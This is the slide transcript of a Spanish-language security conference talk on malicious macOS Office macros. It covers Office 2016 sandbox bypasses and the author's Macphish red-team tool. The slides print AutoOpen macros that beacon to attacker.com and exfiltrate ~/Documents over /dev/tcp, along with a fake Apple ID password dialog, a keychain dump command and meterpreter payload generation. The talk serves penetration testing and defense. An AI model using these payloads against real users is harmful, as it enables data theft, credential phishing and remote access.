old fox new tricks malicious macros are back

57

Upload: websec-mexico-sc

Post on 29-Jan-2018

543 views

Category:

Internet


4 download

TRANSCRIPT

Page 1: Old fox new tricks malicious macros are back
Page 2: Old fox new tricks malicious macros are back

Old fox, new tricks –Malicious OSX/MacOS macros are backPaulino Calderon <@calderpwn>[email protected] - http://calderonpale.com - http://websec.mx

Page 3: Old fox new tricks malicious macros are back

$whoami• Pruebas de Penetración, Análisis de Vulnerabilidades, Revisión de

Código Fuente y Pruebas de Ingeniería Social en Websec (http://websec.mx/).

• Autor de libros con PacktPub (https://www.packtpub.com) y cursos en línea con Pluralsight (https://www.pluralsight.com).

• Me gusta desarrollar software libre, experimentar con tecnologías nuevas y buscar vulnerabilidades en software.

• Chapter leader de OWASP Riviera Maya

Page 4: Old fox new tricks malicious macros are back

Un día nuestro objetivo era una empresa de marketing…

Page 5: Old fox new tricks malicious macros are back

¿De qué vamos a hablar hoy?

• Ataques con macros maliciosos para Mac (OSX/MacOS) ”in the wild”.

• Vectores de ataques en Office 2011.

• Nuevos vectores de ataque contra Office 2016 que funcionan a pesar de las protecciones del sandbox.

• Macphish – Nueva herramienta para generar macros para Mac para pruebas de ingeniería social.

Page 6: Old fox new tricks malicious macros are back
Page 7: Old fox new tricks malicious macros are back

U.S. Allies and Rivals Digest Trump's Victory – Carnegie Endowment for International Peace.docm

• Descubierto en Febrero 2017.

• Al ejecutarse el macro malicioso:

• Verificaba que Little Snitch no estuviera ejecutándose.

• Descargaba Stager de EmPyre.

• Atacantes tenían acceso a todos los módulos de EmPyre.

• Patrick Wardle publicó un análisis en su sitio web. -> https://objective-see.com/blog/blog_0x17.html

• Interesante pero este ataque no funciona si el usuario usa Office 2016.

Page 8: Old fox new tricks malicious macros are back
Page 9: Old fox new tricks malicious macros are back

Un poco de historia…

• Office 2008 for Mac mitigaba los macros maliciosos totalmente… al no soportar VBA.

• En Office 2011 for Mac vuelven a soportar VBA macros.

• Debido a los serios problemas de seguridad, Office 2016 for Mac ahora se ejecuta en un App Sandbox.

• Aunque los usuarios ejecuten el macro, ¡ya no podemos acceder a archivos de usuario/sistema! … ¿O sí?

Page 10: Old fox new tricks malicious macros are back

Versiones de Office en uso en la actualidad

Office 2016Office 2011

Page 11: Old fox new tricks malicious macros are back
Page 12: Old fox new tricks malicious macros are back

Office 2011 vs Office 2016

Page 13: Old fox new tricks malicious macros are back

Macros en OSX/MacOS

• Deben guardarse en un archivo .docm.

• Requieren interacción del usuario.

• No se puede configurar Office para que automáticamente no ejecute macros:

• O ejecuta automáticamente todos los macros.

• O te pregunta cada vez que abres un macro.

Page 14: Old fox new tricks malicious macros are back

Macros multiplataforma

•Condicionales en Office nos permiten crearmacros multiplataforma y detectar la versiónde Office.

•”If Mac” disponible desde Office 2011.

•MAC_OFFICE_VERSION desde Office 2016.

Page 15: Old fox new tricks malicious macros are back

Macros multiplataforma

Page 16: Old fox new tricks malicious macros are back

Ejecución de código malicioso con System()

• En OSX/MacOS es posible ejecutar código malicioso utilizando la función System() de libc.dylib.

Page 17: Old fox new tricks malicious macros are back
Page 18: Old fox new tricks malicious macros are back

Problemas utilizando System()

• Está técnica presenta ciertas desventajas:

• Requiere soportar ambas versiones (32/64 bits).

• No funciona en todos los sistemas.

Page 19: Old fox new tricks malicious macros are back

Abusando Macscript

• La función de VBA Macscript() fue diseñada para ejecutar scripts Applescript en documentos de Mac.

• Deprecada pero aún funciona en Office 2016.

• Office 2016 requiere que los scripts sean colocados en una carpeta específica. Esto principalmente para evitar que macros descarguen scripts adicionales y los ejecuten.

• Sin embargo, es posible abusar Macscript para ejecutar binarios del sistema.

• Ojo: No todos los binarios son permitidos.

Page 20: Old fox new tricks malicious macros are back

Ejecutando binarios con Macscript

Sub AutoOpen()MacScript ("do shell script ""<binary>"" ")

End Sub

Page 21: Old fox new tricks malicious macros are back

No todos los binarios son iguales

• Office 2016 no permite la ejecución de cualquier binario. Sin embargo, podemos invocar:

• Utilidades: curl, tar, xxd, ping, nslookup y osascript.

• Interpretes de programación: Python, Ruby, Perl.

• Si el binario no está permitido, el sistema regresa esteerror:

Page 22: Old fox new tricks malicious macros are back

Abusando utilidades de sistemaPhone Home

Utilidades clásicas como ping o curl pueden ser utilizadascomo beacons de notificación.

Sub AutoOpen()

MacScript ("do shell script ""ping -c 1 attacker.com"" ")

End Sub

Page 23: Old fox new tricks malicious macros are back

Abusando utilidades de sistemaExfiltrando datos de usuario

Además tenemos acceso a sockets directamente: /dev/tcp/atacante.com/443

Entonces también podemos comprimir la carpeta de Documentos de usuario y enviarnosla:

Sub AutoOpen()MacScript ("do shell script ""tar zcf - ~/Documents | xxd -p >/dev/tcp/attacker.com/443"" ")End Sub

Page 24: Old fox new tricks malicious macros are back

Abusando osascript

• Osascript es una utilidad disponible en todas las Macs que sirve para ejecutar scripts en Applescript.

• A pesar de que eventos de sistema están bloqueados, tenemos acceso a funcionalidad para crear diálogos, acceder al portapapeles y obtener información del sistema.

Page 25: Old fox new tricks malicious macros are back

Phishing de credenciales con osascript

Podemos utilizar diálogos para engañar a usuarios a que introduzcan sus credenciales y las enviamos utilizando alguna de las técnicas descritas anteriormente.

Page 26: Old fox new tricks malicious macros are back

Phishing de credenciales con Macscript

MacScript("do shell script ""/usr/bin/osascript -e 'display dialog \""Microsoft Word requiere de tucontraseña de tu Apple ID para descifrar el archivo\"" & return & return default answer \""\"" with icon file \""Applications:Utilities:KeychainAccess.app:Contents:Resources:AppIcon.icns\"" with hidden answer with title \""Microsoft Word\""'""")

Page 27: Old fox new tricks malicious macros are back

https://drive.google.com/open?id=0BzPR8exG0kt6WWUzU0tKUjFhdjg

VIDEO

Page 28: Old fox new tricks malicious macros are back

Phishing de credenciales con osascript

• Funciona en Office 2011/2016.

• Localmente también puede ser ejecutado:

http://fuzzynop.blogspot.com/2014/10/osascript-for-local-phishing.html

• Ahora también implementado en otras herramientas:

• Bash Bunny

https://github.com/hak5/bashbunny-payloads/tree/master/payloads/library/phishing/MacPhish

• EmPyre

https://medium.com/@malcomvetter/multi-platform-macro-phishing-payloads-3b688e8eff68

Page 29: Old fox new tricks malicious macros are back

Phishing de credenciales con osascript

• Se puede personalizar los diálogos con íconos de aplicaciones en el sistema.

• Applications:Utilities:KeychainAccess.app:Contents:Resources:AppIcon.icns

Page 30: Old fox new tricks malicious macros are back

Abusando de los interpretes de lenguajes de programación

Podemos ejecutar código utilizando interpretes de lenguajes de programación (Python/Ruby/Perl):

Sub AutoOpen()MacScript ("do shell script ""python -c <payload>"" ")

End Sub

Page 31: Old fox new tricks malicious macros are back

Abusando de los interpretes de lenguajes de programación

Page 32: Old fox new tricks malicious macros are back

https://drive.google.com/open?id=0BzPR8exG0kt6TlY1UWhiemVKRnc

VIDEO

Page 33: Old fox new tricks malicious macros are back

Atacando Office 2011 for Mac

Persistencia

cronjob

Dylib-hijack

Launch daemon

Login hook

Exfiltración

Curl/wget

Tar/xxd

TCP sockets

C&C

EmPyre

Meterpreter

Phishing

osascript

VBA

Page 34: Old fox new tricks malicious macros are back

Macros para Office 2016

• El sandbox de Office 2016 bloquea el acceso a cualquier recurso no definido en las políticas de seguridad.

• Aunque los usuarios habiliten la ejecución de macros, la mayoría de malware no va a funcionar en Office 2016.

• No se conocían vectores de ataque que funcionaran contra Office 2016.

Page 35: Old fox new tricks malicious macros are back

El sandbox de Office 2016

¿Qué podemos hacer si nos enfrentamos a usuarios con Office 2016?

Page 36: Old fox new tricks malicious macros are back

Abusando de GrantAccessToMultipleFiles

• Office 2016 introdujo un par de funciones nuevas entre ellas GrantAccessToMultipleFiles().

• GrantAccessToMultipleFiles recibe un arreglo de archivos en el sistema y solicita permisos de acceso.

• ¡La documentación no dice nada de que carpetas también son soportadas! ¿Para qué solicitar individualmente acceso a archivos si le podemos pedir acceso a toda la carpeta?

• One shot: Solo tenemos una oportunidad porque la selección del usuario es guardada para siempre.

• Esto tiene muchas implicaciones de las cuales hablaremos más adelante.

Page 37: Old fox new tricks malicious macros are back

Abusando de GrantAccessToMultipleFiles

Page 38: Old fox new tricks malicious macros are back

Abusando de GrantAccessToMultipleFiles

Sub AutoOpen()GrantAccessToMultipleFiles(”/Users/<usuario>/Documents”)MacScript ("do shell script ""python -c <payload>"" ")

End Sub

Page 39: Old fox new tricks malicious macros are back

https://drive.google.com/open?id=0BzPR8exG0kt6VzlaWVVJdEtNR0k

VIDEO

Page 40: Old fox new tricks malicious macros are back

Abusando GrantAccessToMultipleFilesPermisos globales

Debido a que el dialogo se presenta una sola vez y los permisos son asignados para siempre:

• Si el usuario otorga los permisos, cualquier macro que se ejecute en el sistema tendrá acceso a esos archivos. Si los usuarios ya habían permitido a un macro legitimo acceder a estos archivos, nuestro macro malicioso también tendría acceso a esos archivos.

Page 41: Old fox new tricks malicious macros are back

https://drive.google.com/open?id=0BzPR8exG0kt6SnJwM01KSzAzMjA

VIDEO

Page 42: Old fox new tricks malicious macros are back

Abusando GrantAccessToMultipleFilesDenegación de Servicio Permanente (DoS)

• Si el usuario no otorga los permisos, macros legítimos no podrán acceder a esos archivos posteriormente.

• No existe una interfaz para administrar estos permisos. La respuesta de la primera petición se usa para siempre.

• Posible Denegación de Servicio permanente.

Page 43: Old fox new tricks malicious macros are back

Preparando los payloads maliciosos

• Payload script en Applescript debe ser escapado para ejecutarse inline a través de osascript. Debemos considerar VBA escapingtambién.

• GrantAccessToMultipleFiles requiere saber la ruta completa al directorio del usuario objetivo. (Cambia de objetivo a objetivo)

• La ruta también la podemos obtener abusando de osascript

Page 44: Old fox new tricks malicious macros are back

Macphish – Generador de macros maliciosospara pruebas de ingeniería social

https://github.com/cldrn/macphish

Page 45: Old fox new tricks malicious macros are back

Macphish

• Genera scripts en Applescript para pruebas de ingeniería social.

• Plantillas de macros multiplataforma.

• Nombres de funciones aleatorios.

• Payloads de meterpreter y Empyre (*).

• Configuración automática de entorno de usuario.

https://github.com/cldrn/macphish

Page 46: Old fox new tricks malicious macros are back

Macphish - Beacon

• Payload no malicioso que simplemente envía señal a casa sobre su ejecución. (”Phone home”)

• Útil para estadísticas sobre ejecución de macros.

• Funciona en Office 2011 y Office 2016.

https://github.com/cldrn/macphish

Page 47: Old fox new tricks malicious macros are back

$./macphish.py –a beacon –lh <host>

https://github.com/cldrn/macphish

Page 48: Old fox new tricks malicious macros are back

Macphish - Creds

• Payload para intentar obtener credenciales locales de usuarios.

• Utiliza funcionalidad de diálogos de osascript para realizar el ataque de phishing.

• Funciona en Office 2011 y Office 2016.

https://github.com/cldrn/macphish

Page 49: Old fox new tricks malicious macros are back

$./macphish.py –a creds -m –lh <host>

https://github.com/cldrn/macphish

Page 50: Old fox new tricks malicious macros are back

Macphish - Meterpreter

• Payload para obtener shell de meterpreter en víctimas.

• Utiliza payloads en python.

• Funciona en Office 2011 sin restricciones.

• Office 2016 quedamos dentro del sandbox ->

https://github.com/cldrn/macphish

Page 51: Old fox new tricks malicious macros are back

$./macphish.py –a meterpreter –lh <host> -lp <port> -m

https://github.com/cldrn/macphish

Page 52: Old fox new tricks malicious macros are back

Macphish – Meterpreter c/ GrantAccessToMultipleFiles()

• Payload para solicitar permisos a los Documentos de usuarios antes de ejecutar una shell de meterpreter.

• En Office 2016 saltamos el sandbox si:

• La víctima autoriza (o autorizó a otro archivo) el acceso a los documentos.

• El documento se encuentra dentro de la ruta que solicita. (*)

https://github.com/cldrn/macphish

Page 53: Old fox new tricks malicious macros are back

$./macphish.py –a meterpreter-grant –lh <host> -lp <port> -m

https://github.com/cldrn/macphish

Page 54: Old fox new tricks malicious macros are back

https://drive.google.com/open?id=0BzPR8exG0kt6TDJ5OGt6LVNLT28

VIDEO

Page 55: Old fox new tricks malicious macros are back

Ideas adicionales

• Automatizar la persistencia.

• Elevación de privilegios a través de vulnerabilidades del sistema.

• Dumpeo de contraseñas a través del keychain.• MacScript("do shell script ""security dump-keychain -d login.keychain"" ")

Page 56: Old fox new tricks malicious macros are back

Ligas

• Documentación de macphish

https://github.com/cldrn/macphish/wiki

• Websec:

http://websec.mx/blog/ver/mac-macros-y-macphish

• App Sandbox:

https://developer.apple.com/library/content/documentation/Security/Conceptual/AppSandboxDesignGuide/AboutAppSandbox/AboutAppSandbox.html

• VBA improvements in Office 2016:

https://dev.office.com/blogs/VBA-improvements-in-Office-2016

• Credential phishing in Empyre:

https://medium.com/@malcomvetter/multi-platform-macro-phishing-payloads-3b688e8eff68

Page 57: Old fox new tricks malicious macros are back

¡Gracias! ¿Preguntas?

Paulino Calderon <@calderpwn>[email protected] - http://calderonpale.com - http://websec.mx